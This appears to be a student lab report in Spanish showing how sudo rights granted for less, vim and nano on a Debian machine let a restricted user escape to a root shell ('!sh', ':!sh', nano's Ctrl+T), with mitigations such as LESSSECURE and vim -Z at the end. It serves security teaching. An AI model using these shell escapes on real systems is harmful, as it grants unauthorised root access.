

Actividad 20-03-25  
José Camilo García Ponce

Primero creamos el usuario nuevo con “sudo adduser filereader”

```
17  ip a
18  sudo adduser filereader
19  sudo visudo
20  su filereader
21  history
patito@debian:~$
```

Luego modificamos /etc/sudoers usando “sudo visudo” para darle privilegios al nuevo usuario

```
# User alias specification
User_Alias FILEREADER=filereader

# Cmnd alias specification
Cmnd_Alias READ=/usr/bin/less,/usr/bin/nano,/usr/bin/vim

# User privilege specification
root    ALL=(ALL:ALL) ALL
FILEREADER ALL=(root:root) READ
```

Después usamos el usuario nuevo con “su filereader”

```
patito@debian:~$ su filereader
Contraseña:
filereader@debian:/home/patito$
```

Posteriormente usamos “cd” y creamos dos archivos

```
filereader@debian:/home/patito$ cd
filereader@debian:~$ ls
Hola2.txt  Hola.txt
filereader@debian:~$
```

Luego usamos el comando “sudo -l”

```
filereader@debian:~$ sudo -l
Matching Defaults entries for filereader on debian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User filereader may run the following commands on debian:
    (root : root) /usr/bin/less, /usr/bin/nano, /usr/bin/vim
filereader@debian:~$
```

Después usamos “sudo -u root less Hola.txt”

~~~~~

Posteriormente dentro de less escribimos “!sh”

Y con eso pudimos obtener una shell de root  
Luego usamos “sudo -u root vim Hola.txt”

```
Hola 2
~
~
~
~
~
~
~
~
~
~
```

Después dentro de vim escribimos “:!sh”

```
filereader@debian:~$ sudo -u root vim Hola.txt
[sudo] contraseña para filereader:

# whoami
root
```

Y con eso pudimos obtener una shell de root

Posteriormente usamos “sudo -u root nano Hola.txt”

```
GNU nano 7.2                                     Hola.txt
Hola 2
```

Luego dentro de nano presionamos Ctrl + T y luego escribimos “whoami”

```
GNU nano 7.2                                Hola.txt *
root
Hola 2

Ejecutar la orden: whoami
^G Ayuda      ^M-F Búfer nuevo  ^S Ortografía    ^J Justif Todo    ^V Cortar resto
^C Cancelar    ^M-\ Conectar texto ^Y Corrector     ^O Arreglador     ^Z Suspender
```

Y con eso pudimos obtener una shell de root (no es como tal una terminal, pero poder usar Ctrl + T y el comando que queremos ejecutar)

Algunas acciones que podemos hacer para evitar esto es usar el modo seguro de less, en vez de poner /usr/bin/less en /etc/sudoers podemos crear un script con esto #!/bin/bash LESSSECURE=1 /usr/bin/less "\$@" y usar este script para que puedan usar less pero sin poder ejecutar los comandos, otra opción que podemos hacer es quitar el uso de vim y nano para que ejecuten comando por ahí y solo dejar nuestro less en modo seguro, también podemos habilitar el modo seguro en vim (con -Z) y así evitar que ejecuten comandos Esas son algunas opciones que tenemos